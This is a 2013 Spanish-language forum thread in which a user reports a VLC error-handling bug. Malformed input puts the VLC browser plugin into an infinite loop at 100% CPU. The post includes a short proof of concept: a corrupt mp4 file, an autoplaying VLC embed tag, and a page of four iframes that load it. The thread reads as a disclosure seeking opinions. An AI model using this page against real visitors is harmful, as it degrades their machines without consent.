Bug VLC en el manejo de errores

Iniciado por Stakewinner00, 22 Agosto 2013, 20:33 PM

0 Miembros y 1 Visitante están viendo este tema.

Stakewinner00

Buenas, hace poco me di cuenta de que VLC no maneja bien los errores produciendo un bucle infinito que sobrecarga la CPU. Lo peor es que esto ocurre también cuando cargas un video de VLC por html sobrecargando la CPU de el que la visite hasta el 100%.

No se si esto es realmente un fallo de seguridad o no o si es grave o no y por eso busco la opinión de terceras personas.

Paso a explicar rápidamente la POC que hice para probar si a la gente también se le colapsaba la CPU al visitar la web.

Primero cree un archivo mp4 corrupto que edite con el siguiente contenido inválido
CitarAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓4♦AAAAAAAAAA☺↨↓

Luego cree un archivo html que cargaba dicho vieo
<embed type="application/x-vlc-plugin" pluginspage="http://www.videolan.org" version="VideoLAN.VLCPlugin.2"  width="100%"  height="100%" id="vlc" loop="yes" autoplay="yes" target="a.mp4"></embed>

Una vez echo esto cree otro html que colocaba unos 4 iframes del archivo anterior
<iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe> <iframe src="a.html"></iframe>

Y el resultado fue el siguiente



Resulta algo penoso que un programa como VLC falle en el manejo de errores.

Saludos, espero sus opiniones.



berz3k

Que version del VLC estas asuando?

-berz3k.

Stakewinner00


ameise_1987

firma retirada por insultar/cachondearse de (anelkaos) del staff.

Stakewinner00


cachacko